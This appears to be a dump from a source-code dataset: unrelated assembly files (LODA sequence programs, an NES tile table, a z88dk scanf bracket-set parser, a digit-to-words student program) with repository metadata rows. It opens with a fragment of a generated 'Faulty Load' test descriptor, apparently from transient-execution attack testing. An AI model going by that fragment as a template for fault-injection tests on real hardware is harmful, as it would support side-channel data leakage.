'OP': 'REPM', 'src': {'same': False, 'congruent': 2, 'type': 'addresses_normal'}} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_PSE', 'congruent': 8}, 'OP': 'STOR'} {'dst': {'same': False, 'congruent': 5, 'type': 'addresses_WT'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 4, 'type': 'addresses_US'}} [Faulty Load] {'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_D', 'congruent': 0}} <gen_prepare_buffer> {'36': 6} 36 36 36 36 36 36 */
19.070866
147
0.644922
4e70eb438ef9de135b76e873a0a94637831737e9
489
asm
Assembly
oeis/168/A168420.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/168/A168420.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/168/A168420.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A168420: a(n) = 4 + 10*floor(n/2). ; Submitted by Christian Krause ; 4,14,14,24,24,34,34,44,44,54,54,64,64,74,74,84,84,94,94,104,104,114,114,124,124,134,134,144,144,154,154,164,164,174,174,184,184,194,194,204,204,214,214,224,224,234,234,244,244,254,254,264,264,274,274,284,284,294,294,304,304,314,314,324,324,334,334,344,344,354,354,364,364,374,374,384,384,394,394,404,404,414,414,424,424,434,434,444,444,454,454,464,464,474,474,484,484,494,494,504 add $0,1 div $0,2 mul $0,10 add $0,4
54.333333
381
0.707566
60c53e9b653fff86ba16f889dbbbe8d717a85a93
643
asm
Assembly
oeis/004/A004560.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/004/A004560.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/004/A004560.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A004560: Expansion of sqrt(5) in base 7. ; Submitted by Jamie Morken(s2) ; 2,1,4,3,6,5,4,1,0,6,2,5,0,3,5,1,0,4,3,3,1,3,6,1,4,1,1,4,4,1,3,2,0,5,1,3,0,2,1,2,6,1,3,2,6,3,2,4,1,4,1,6,4,2,1,5,5,1,5,2,4,0,4,5,0,5,2,3,6,1,6,1,4,3,2,4,6,2,5,3,1,3,4,1,4,5,1,0,2,1,6,4,0,6,2,1,1,0,0,1 mov $1,1 mov $2,1 mov $3,$0 add $3,2 mov $4,$0 add $4,2 mul $4,2 mov $7,10 pow $7,$4 lpb $3 mov $4,$2 pow $4,2 mul $4,5 mov $5,$1 pow $5,2 add $4,$5 mov $6,$1 mov $1,$4 mul $6,$2 mul $6,2 mov $2,$6 mov $8,$4 div $8,$7 max $8,1 div $1,$8 div $2,$8 sub $3,1 mov $9,7 lpe mov $3,$9 pow $3,$0 div $2,$3 div $1,$2 mod $1,$9 mov $0,$1
16.075
201
0.508554
b401a7273bc12afce42ea8574294b23bdc101ab5
6,546
asm
Assembly
nes-test-roms/tutor/tutorchr.asm
joebentley/ones
d2c7d21bd94dda9d312c56a197cddec164035d4f
[ "BSD-2-Clause" ]
1,461
2022-02-25T17:44:34.000Z
2022-03-30T06:18:29.000Z
nes-test-roms/tutor/tutorchr.asm
joebentley/ones
d2c7d21bd94dda9d312c56a197cddec164035d4f
[ "BSD-2-Clause" ]
20
2020-11-09T19:57:25.000Z
2021-12-24T07:09:53.000Z
nes-test-roms/tutor/tutorchr.asm
joebentley/ones
d2c7d21bd94dda9d312c56a197cddec164035d4f
[ "BSD-2-Clause" ]
34
2022-02-25T19:53:56.000Z
2022-03-31T07:25:28.000Z
; CHR-ROM file for the NES 101 tutorial ; Kinda sorta copyright Michael Martin, 2001,2. ; More honestly copyright Commodore Business Machines 1982. ; The first 4K block (256 characters) is where our backgrounds come from. ; These were extracted from the Commodore 64's character ROM, and modified ; to match the NES' character definition schemas. The background is color ; 2 on the palette, and the letterforms themselves color 3. The characters ; are given tile numbers that correspond to their ASCII codes, to simplify ; the creation of the data files. ; The first 20 character locations are blank. .dsb $0200 .byte $00,$00,$00,$00,$00,$00,$00,$00,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF ; Character 32 .byte $18,$18,$18,$18,$00,$00,$18,$00,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF ; Character 33 .byte $66,$66,$66,$00,$00,$00,$00,$00,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF ; Character 34 .byte $66,$66,$FF,$66,$FF,$66,$66,$00,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF ; Character 35 .byte $18,$3E,$60,$3C,$06,$7C,$18,$00,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF ; Character 36 .byte $62,$66,$0C,$18,$30,$66,$46,$00,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF ; Character 37 .byte $3C,$66,$3C,$38,$67,$66,$3F,$00,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF ; Character 38 .byte $06,$0C,$18,$00,$00,$00,$00,$00,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF ; Character 39 .byte $0C,$18,$30,$30,$30,$18,$0C,$00,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF ; Character 40 .byte $30,$18,$0C,$0C,$0C,$18,$30,$00,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF ; Character 41 .byte $00,$66,$3C,$FF,$3C,$66,$00,$00,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF ; Character 42 .byte $00,$18,$18,$7E,$18,$18,$00,$00,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF ; Character 43 .byte $00,$00,$00,$00,$00,$18,$18,$30,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF ; Character 44 .byte $00,$00,$00,$7E,$00,$00,$00,$00,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF ; Character 45 .byte $00,$00,$00,$00,$00,$18,$18,$00,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF ; Character 46 .byte $00,$03,$06,$0C,$18,$30,$60,$00,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF ; Character 47 .byte $3C,$66,$6E,$76,$66,$66,$3C,$00,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF ; Character 48 .byte $18,$18,$38,$18,$18,$18,$7E,$00,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF ; Character 49 .byte $3C,$66,$06,$0C,$30,$60,$7E,$00,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF ; Character 50 .byte $3C,$66,$06,$1C,$06,$66,$3C,$00,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF ; Character 51 .byte $06,$0E,$1E,$66,$7F,$06,$06,$00,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF ; Character 52 .byte $7E,$60,$7C,$06,$06,$66,$3C,$00,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF ; Character 53 .byte $3C,$66,$60,$7C,$66,$66,$3C,$00,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF ; Character 54 .byte $7E,$66,$0C,$18,$18,$18,$18,$00,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF ; Character 55 .byte $3C,$66,$66,$3C,$66,$66,$3C,$00,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF ; Character 56 .byte $3C,$66,$66,$3E,$06,$66,$3C,$00,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF ; Character 57 .byte $00,$00,$18,$00,$00,$18,$00,$00,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF ; Character 58 .byte $00,$00,$18,$00,$00,$18,$18,$30,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF ; Character 59 .byte $0E,$18,$30,$60,$30,$18,$0E,$00,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF ; Character 60 .byte $00,$00,$7E,$00,$7E,$00,$00,$00,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF ; Character 61 .byte $70,$18,$0C,$06,$0C,$18,$70,$00,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF ; Character 62 .byte $3C,$66,$06,$0C,$18,$00,$18,$00,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF ; Character 63 .byte $3C,$66,$6E,$6E,$60,$62,$3C,$00,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF ; Character 64 .byte $18,$3C,$66,$7E,$66,$66,$66,$00,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF ; Character 65 .byte $7C,$66,$66,$7C,$66,$66,$7C,$00,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF ; Character 66 .byte $3C,$66,$60,$60,$60,$66,$3C,$00,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF ; Character 67 .byte $78,$6C,$66,$66,$66,$6C,$78,$00,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF ; Character 68 .byte $7E,$60,$60,$78,$60,$60,$7E,$00,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF ; Character 69 .byte $7E,$60,$60,$78,$60,$60,$60,$00,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF ; Character 70 .byte $3C,$66,$60,$6E,$66,$66,$3C,$00,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF ; Character 71 .byte $66,$66,$66,$7E,$66,$66,$66,$00,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF ; Character 72 .byte $3C,$18,$18,$18,$18,$18,$3C,$00,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF ; Character 73 .byte $1E,$0C,$0C,$0C,$0C,$6C,$38,$00,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF ; Character 74 .byte $66,$6C,$78,$70,$78,$6C,$66,$00,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF ; Character 75 .byte $60,$60,$60,$60,$60,$60,$7E,$00,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF ; Character 76 .byte $63,$77,$7F,$6B,$63,$63,$63,$00,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF ; Character 77 .byte $66,$76,$7E,$7E,$6E,$66,$66,$00,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF ; Character 78 .byte $3C,$66,$66,$66,$66,$66,$3C,$00,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF ; Character 79 .byte $7C,$66,$66,$7C,$60,$60,$60,$00,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF ; Character 80 .byte $3C,$66,$66,$66,$66,$3C,$0E,$00,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF ; Character 81 .byte $7C,$66,$66,$7C,$78,$6C,$66,$00,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF ; Character 82 .byte $3C,$66,$60,$3C,$06,$66,$3C,$00,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF ; Character 83 .byte $7E,$18,$18,$18,$18,$18,$18,$00,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF ; Character 84 .byte $66,$66,$66,$66,$66,$66,$3C,$00,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF ; Character 85 .byte $66,$66,$66,$66,$66,$3C,$18,$00,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF ; Character 86 .byte $63,$63,$63,$6B,$7F,$77,$63,$00,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF ; Character 87 .byte $66,$66,$3C,$18,$3C,$66,$66,$00,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF ; Character 88 .byte $66,$66,$66,$3C,$18,$18,$18,$00,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF ; Character 89 .byte $7E,$06,$0C,$18,$30,$60,$7E,$00,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF ; Character 90 .byte $3C,$30,$30,$30,$30,$30,$3C,$00,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF ; Character 91 .byte $0C,$12,$30,$7C,$30,$62,$FC,$00,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF ; Character 92 .byte $3C,$0C,$0C,$0C,$0C,$0C,$3C,$00,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF ; Character 93 .byte $00,$18,$3C,$7E,$18,$18,$18,$18,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF ; Character 94 .byte $00,$10,$30,$7F,$7F,$30,$10,$00,$FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF ; Character 95 ; Fill the rest of the first CHR-ROM block with zeroes. .align $1000 ; Here begins the second 4K block. The sprites (all one of them) get their data ; from this page. .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 ; Character 0: Blank .byte $18,$24,$66,$99,$99,$66,$24,$18,$00,$18,$18,$66,$66,$18,$18,$00 ; Character 1: Diamond sprite ; Fill the rest of the CHR-ROM block with zeroes, giving us exactly 8K of data, which ; is what we want and need. .align $1000
71.934066
99
0.582646
cd061a07399f2e18fe33f50b09a1a38c17138d36
7,907
asm
Assembly
libsrc/stdio_new/file/stream-in/stdio_in_bkt.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
8
2017-01-18T12:02:17.000Z
2021-06-12T09:40:28.000Z
libsrc/stdio_new/file/stream-in/stdio_in_bkt.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
1
2017-03-06T07:41:56.000Z
2017-03-06T07:41:56.000Z
libsrc/stdio_new/file/stream-in/stdio_in_bkt.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
3
2017-03-07T03:19:40.000Z
2021-09-15T17:59:19.000Z
; stdio_in_bkt ; 05.2008 aralbrec PUBLIC stdio_in_bkt EXTERN stdio_getchar, stdio_ungetchar, stdio_nextarg ; input %[ parameter ; ; enter : ix = FILE * ; b = width ; c = flags [000a*WL0] ; hl = & parameter list ; bc' = total num chars read from stream thus far ; de' = number of conversions done thus far ; on exit : bc' = total num chars read from stream thus far ; de' = number of conversions done thus far ; hl = & parameter list ; carry set if EOF reached ; ; MUST NOT ALTER HL' FOR SSCANF FAMILY .stdio_in_bkt ; still need to generate the accepting character set from the format string ; done here so that the full code can be removed from stdio if this specifier ; is not included in compile pop de ex (sp),hl push de ex de,hl ; *************************************************** ; PART 1 ; Generate accepting character set from format string ;**************************************************** ; b = width ; c = flags [^00a*WL0] ; de = format string ; stack = & parameter list, ret ; create a character sit bitmap on stack, one bit per 8-bit character code ; a set bit indicates the corresponding character is in the %[ set ld hl,0 ld a,16 .createcharsetlp push hl dec a jp nz, createcharsetlp ; b = width ; c = flags [^00a*WL0] ; de = format string ; stack = & parameter list, ret, char set bitmap (32 bytes) ; look for the special leading chars in the %[ char set ld a,(de) cp '^' ; is '^' a leading char? jr nz, leading set 7,c ; set carat flag inc de ld a,(de) ; on to next char in format string .leading push bc ; save width + flags (done after ^ flag set) cp ']' ; is ']' a leading char? jr nz, fillcharset0 call addcharA inc de ; on to next char in format string ; '-' will be caught in regular loop .fillcharset0 ; here we are starting from a blank slate... have no pending left char ; b = nothing ; c = flags [^00a*WL0] ; de = format string ; stack = & parameter list, ret, char set bitmap (32 bytes), width + flags ld a,(de) or a jr z, endcharset0 ; premature end of format string should be an error but taken as ']' inc de cp ']' ; reached end of char set? jr z, endcharset0 ld b,a ; got our left char .fillcharset1 ; we've seen a left char ; b = left char ; c = flags [^00a*WL0] ; de = format string ; stack = & parameter list, ret, char set bitmap (32 bytes), width + flags ld a,(de) ; premature end of format string should be an error but taken as ']' or a jr z, endcharset1 inc de cp ']' ; end of char set? jr z, endcharset1 cp '-' ; range char? jr z, fillcharset2 ; seen a left char in 'b' and have a following char in 'a' ; add left char to character set and make char in 'a' the new left char ld l,b ld b,a ; latest char becomes left char ld a,l call addcharA jr fillcharset1 .fillcharset2 ; we've seen a left char and a range char '-' ; b = left char in range ; c = flags [^00a*WL0] ; de = format string ; stack = & parameter list, ret, char set bitmap (32 bytes), width + flags ld a,(de) ; premature end of format string should be an error but taken as ']' or a jr z, endcharset2 inc de cp ']' ; end of char set? jr z, endcharset2 cp b ; make sure right char (A) > left char (B) jr nc, rangelp ld l,a ; if not swap left and right to get increasing order in range ld a,b ld b,l .rangelp call addcharA dec a ; move to next char in range cp b ; check if end of range reached jr nc, rangelp jr fillcharset0 .endcharset2 ; we've seen a left char and a range char '-' ; b = left char in range ; c = flags [^00a*WL0] ; de = format string ; stack = & parameter list, ret, char set bitmap (32 bytes), width + flags ld a,'-' ; add the minus to the charset call addcharA .endcharset1 ; we've seen a left char ; b = left char ; c = flags [^00a*WL0] ; de = format string ; stack = & parameter list, ret, char set bitmap (32 bytes), width + flags ld a,b ; add the left char to the charset call addcharA .endcharset0 pop bc ; b = width ; c = flags [^00a*WL0] ; de = format string ; stack = & parameter list, ret, char set bitmap (32 bytes) ; swap format string and parameter list on stack ld hl,34 add hl,sp ld a,(hl) ld (hl),e inc hl ld e,(hl) ld (hl),d ld l,a ld h,e ; *********************************************************************** ; PART 2 ; Match characters from stream to charset and write to destination buffer ; *********************************************************************** ; b = width ; c = flags [^00a*WLM], M = matched at least one char ; hl = & parameter list ; stack = format string, ret, char set bitmap (32 bytes) bit 3,c ; suppress assignment? call z, stdio_nextarg ; if not de = char *s push hl ; save & parameter list push de ; save char *s .loop call stdio_getchar ; get char from stream jr c, done call computebitsetaddr ld a,c rla sbc a,a xor (hl) ; if ^ invert charset bitmap and d ; if specific charset bit set we have a match jr z, finished ; char is in bitset so add to string set 0,c ; matched at least one char bit 3,c jr nz, suppress1 ld a,e ; write char into char *s pop de ; de = char *s ld (de),a inc de push de ; save char *s .suppress1 bit 2,c ; without width specifier just loop back jr z, loop djnz loop .done pop de ; de = char *s pop hl ; hl = & parameter list bit 3,c jr nz, adjuststack xor a ld (de),a ; write terminating \0 to string exx inc de ; increase number of conversions done exx .adjuststack ex de,hl ld hl,32 add hl,sp ld sp,hl ex de,hl or a ; clear carry flag bit 0,c ; if at least one char matched ret nz ; return with no carry scf ret .finished ld a,e call stdio_ungetchar jr done .computebitsetaddr ; enter : a = char ; stack = ..., char set bitmap (32 bytes), something, something, ret ; exit : d = mask ; e = char ; hl = bitset addr ; uses : af, de, hl ld e,a ; e = char rra rra rra ; a = char / 8 and $1f add a,6 ld l,a ld h,0 add hl,sp ; hl = corresponding & in char set bitmap ld a,e and $07 ld d,1 ret z .bitrot rl d dec a jr nz, bitrot ret .addcharA push de call computebitsetaddr inc hl ; undershoot by 2 bytes because of extra item on stack inc hl ld a,(hl) or d ld (hl),a ld a,e pop de ret
23.673653
99
0.505122
129325ee5302692f788dcfae8e9cd68b10748acb
399
asm
Assembly
programs/oeis/337/A337937.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/337/A337937.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
programs/oeis/337/A337937.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
; A337937: a(n) = Euler totient function phi = A000010 evaluated at N(n) = floor((3*n-1)/2) = A001651(n), for n >= 1. ; 1,1,2,4,6,4,4,10,12,6,8,16,18,8,10,22,20,12,12,28,30,16,16,24,36,18,16,40,42,20,22,46,42,20,24,52,40,24,28,58,60,30,32,48,66,32,24,70,72,36,36,60,78,32,40,82,64,42,40,88 mul $0,3 div $0,2 cal $0,10 ; Euler totient function phi(n): count numbers <= n and prime to n. mov $1,$0
49.875
171
0.634085
f599fcdc46ff29de04b3e3607fd7c8254b5b1c0e
121
asm
Assembly
libsrc/_DEVELOPMENT/compress/zx0/z80/asm_dzx0_smart_rcs.asm
ahjelm/z88dk
c4de367f39a76b41f6390ceeab77737e148178fa
[ "ClArtistic" ]
640
2017-01-14T23:33:45.000Z
2022-03-30T11:28:42.000Z
libsrc/_DEVELOPMENT/compress/zx0/z80/asm_dzx0_smart_rcs.asm
C-Chads/z88dk
a4141a8e51205c6414b4ae3263b633c4265778e6
[ "ClArtistic" ]
1,600
2017-01-15T16:12:02.000Z
2022-03-31T12:11:12.000Z
libsrc/_DEVELOPMENT/compress/zx0/z80/asm_dzx0_smart_rcs.asm
C-Chads/z88dk
a4141a8e51205c6414b4ae3263b633c4265778e6
[ "ClArtistic" ]
215
2017-01-17T10:43:03.000Z
2022-03-23T17:25:02.000Z
SECTION code_lib SECTION code_compress_zx0 PUBLIC asm_dzx0_smart_rcs asm_dzx0_smart_rcs: INCLUDE "dzx0_smartRCS.asm"
12.1
27
0.859504
0446fb35a012b6b1bfda4fc59c627344767c771c
2,160
asm
Assembly
src/tests/undoc_regs.asm
Hacktix/BullyGB
e24fe6fd7f3fbc6021e3ee7f0f29e9166fce5937
[ "MIT" ]
10
2020-12-18T21:57:20.000Z
2021-10-31T23:17:37.000Z
src/tests/undoc_regs.asm
Hacktix/BullyGB
e24fe6fd7f3fbc6021e3ee7f0f29e9166fce5937
[ "MIT" ]
null
null
null
src/tests/undoc_regs.asm
Hacktix/BullyGB
e24fe6fd7f3fbc6021e3ee7f0f29e9166fce5937
[ "MIT" ]
null
null
null
SECTION "Undocumented Registers", ROMX UndocumentedRegistersTest:: ; Test register $FF72 ldh a, [$FF72] and a jr z, .validInitFF72 ld de, strInvalidInit ld b, "2" jr ReturnFailString .validInitFF72 dec a ldh [$FF72], a ldh a, [$FF72] cp $FF jr z, .validWriteFF72 ld de, strFailWrite ld b, "2" jr ReturnFailString .validWriteFF72 ; Test register $FF73 ldh a, [$FF73] and a jr z, .validInitFF73 ld de, strInvalidInit ld b, "3" jr ReturnFailString .validInitFF73 dec a ldh [$FF73], a ldh a, [$FF73] cp $FF jr z, .validWriteFF73 ld de, strFailWrite ld b, "3" jr ReturnFailString .validWriteFF73 ; Test register $FF74 ldh a, [$FF74] and a jr z, .validInitFF74 ld de, strInvalidInit ld b, "4" jr ReturnFailString .validInitFF74 dec a ldh [$FF74], a ldh a, [$FF74] cp $FF jr z, .validWriteFF74 ld de, strFailWrite ld b, "4" jr ReturnFailString .validWriteFF74 ; Test register $FF75 ldh a, [$FF75] cp %10001111 jr z, .validInitFF75 ld de, strInvalidInit ld b, "5" jr ReturnFailString .validInitFF75 ld a, $FF ldh [$FF75], a ldh a, [$FF75] cp $FF jr z, .didWriteFF75 ld de, strFailWrite ld b, "5" jr ReturnFailString .didWriteFF75 ld a, %01110000 ldh [$FF75], a ldh a, [$FF75] cp $FF jr z, .validWriteFF75 ld de, strFailBitsFF75 ret .validWriteFF75 ld de, $0000 ret ;------------------------------------------------------------------------ ; Generates a fail string in WRAM and returns a pointer to the ; testing framework. ; Parameters: ; * DE - Base Pointer to error string ; * B - Character to be appended to the error string ;------------------------------------------------------------------------ ReturnFailString:: ld hl, _RAM call Strcpy dec hl ld a, b ld [hli], a xor a ld [hl], a ld de, _RAM ret strInvalidInit: db "Invalid initial $FF7", 0 strFailWrite: db "Read-only $FF7", 0 strFailBitsFF75: db "Incorrect writeable bits on $FF75", 0
20.377358
73
0.568981
cb437bdd731348f39e13c3757885d7cf184e8a3a
297
asm
Assembly
Assembly/Project/Spc700/pl1-3.asm
Myself086/Project-Nested
89153325af8e5e2d443994352eae60ad06ed5922
[ "MIT" ]
338
2020-07-26T23:26:20.000Z
2022-03-31T15:26:49.000Z
Assembly/Project/Spc700/pl1-3.asm
Myself086/Project-Nested
89153325af8e5e2d443994352eae60ad06ed5922
[ "MIT" ]
47
2020-08-08T10:21:02.000Z
2022-03-30T16:28:35.000Z
Assembly/Project/Spc700/pl1-3.asm
Myself086/Project-Nested
89153325af8e5e2d443994352eae60ad06ed5922
[ "MIT" ]
8
2020-08-10T19:04:09.000Z
2021-09-27T07:25:02.000Z
// Old //.db 0xB0,0x44,0x44,0x44,0x44,0x44,0x44,0x44,0x44 //.db 0xB3,0x44,0x44,0x44,0x44,0xBB,0xBB,0xBB,0xBB // New // [b0] 5444444444444444 // [b3] 44444444abbbbbbb .db 0xb0, 0x54, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44 .db 0xb3, 0x44, 0x44, 0x44, 0x44, 0xab, 0xbb, 0xbb, 0xbb
29.7
57
0.653199
10314394811b56ea9868c7b28862035ee227b112
1,812
asm
Assembly
CE3105/ASM4.asm
rafaellepalmos/Assembly_Language
343f56f4d08adcef85168b6f361d0c5fae47739d
[ "MIT" ]
null
null
null
CE3105/ASM4.asm
rafaellepalmos/Assembly_Language
343f56f4d08adcef85168b6f361d0c5fae47739d
[ "MIT" ]
null
null
null
CE3105/ASM4.asm
rafaellepalmos/Assembly_Language
343f56f4d08adcef85168b6f361d0c5fae47739d
[ "MIT" ]
null
null
null
data segment enternum db 'Enter number:$' n1 db 'one $' n2 db 'two $' n3 db 'three $' n4 db 'four $' n5 db 'five $' n6 db 'six $' n7 db 'seven $' n8 db 'eight $' n9 db 'nine $' n0 db 'zero $' n11 db 'minus $' n12 db 'plus $' n13 db 'division $' n14 db 'multiplication $' num db 20d DUP('$') nl db 0dh,0ah,'$' data ends temp segment stack db 200h dup(?) temp ends code segment assume cs:code, ds:data, ss:temp start: mov ax,data mov ds,ax lea dx,enternum mov ah,09h int 21h lea bx,num new: mov ah,01h int 21h cmp al,0dh je new1 mov [bx],al inc bx jmp new new1: lea dx,nl mov ah,09h int 21h lea bx,num new2: mov al,[bx] inc bx cmp al,'0' je ze cmp al,'1' je ze1 cmp al,'2' je ze2 cmp al,'3' je ze3 cmp al,'4' je ze4 cmp al,'5' je ze5 cmp al,'6' je ze6 cmp al,'7' je ze7 cmp al,'8' je ze8 cmp al,'9' je ze9 cmp al,'+' je ze11 cmp al,'-' je ze12 cmp al,'*' je ze13 cmp al,'/' je ze14 jmp end1 ze: lea dx,n0 mov ah,09h int 21h jmp new2 ze1: lea dx,n1 mov ah,09h int 21h jmp new2 ze2: lea dx,n2 mov ah,09h int 21h jmp new2 ze3: lea dx,n3 mov ah,09h int 21h jmp new2 ze4: lea dx,n4 mov ah,09h int 21h jmp new2 ze5: lea dx,n5 mov ah,09h int 21h jmp new2 ze6: lea dx,n6 mov ah,09h int 21h jmp new2 ze7: lea dx,n7 mov ah,09h int 21h jmp new2 ze8: lea dx,n8 mov ah,09h int 21h jmp new2 ze9: lea dx,n9 mov ah,09h int 21h jmp new2 ze11: lea dx,n11 mov ah,09h int 21h jmp new2 ze12: lea dx,n12 mov ah,09h int 21h jmp new2 ze13: lea dx,n13 mov ah,09h int 21h jmp new2 ze14: lea dx,n14 mov ah,09h int 21h jmp new2 end1: mov ax,4c00h int 21h code ends end start
11.468354
34
0.580022
4c8b31524f33f3fbf6a6a7d1ee7ce455666013f1
755
asm
Assembly
programs/oeis/214/A214055.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/214/A214055.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/214/A214055.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A214055: Least m>0 such that n!+2+m and n-m have a common divisor > 1. ; 1,2,3,1,5,2,1,2,9,1,11,2,1,2,15,1,17,2,1,2,21,1,3,2,1,2,27,1,29,2,1,2,3,1,35,2,1,2,39,1,41,2,1,2,45,1,5,2,1,2,51,1,3,2,1,2,57,1,59,2,1,2,3,1,65,2,1,2,69,1,71,2,1,2,5,1,77,2,1,2,81,1,3,2,1,2,87,1,5,2,1,2,3,1,95,2,1,2,99,1,101,2,1,2,105,1,107,2,1,2,111,1,3,2,1,2,5,1,9,2,1,2,3,1,125,2,1,2,129,1,5,2,1,2,135,1,137,2,1,2,9,1,3,2,1,2,147,1,149,2,1,2,3,1,155,2,1,2,5,1,161,2,1,2,165,1,11,2,1,2,171,1,3,2,1,2,177,1,179,2,1,2,3,1,9,2,1,2,189,1,191,2,1,2,195,1,197,2,1,2,5,1,3,2,1,2,9,1,209,2,1,2,3,1,5,2,1,2,11,1,221,2,1,2,225,1,227,2,1,2,231,1,3,2,1,2,237,1,239,2,1,2,3,1,11,2,1,2,249,1 mul $0,2 add $0,3 cal $0,90370 ; Least m > 3 such that gcd(n-1, m*n - 1) = m-1. mov $1,$0 sub $1,3
83.888889
581
0.57351
e908e7ffab76d1086f38a0bd52591f07b84a0627
292
asm
Assembly
libsrc/_DEVELOPMENT/arch/zxn/esxdos/c/sccz80/p3dos_copy_cstr_to_pstr.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
640
2017-01-14T23:33:45.000Z
2022-03-30T11:28:42.000Z
libsrc/_DEVELOPMENT/arch/zxn/esxdos/c/sccz80/p3dos_copy_cstr_to_pstr.asm
jpoikela/z88dk
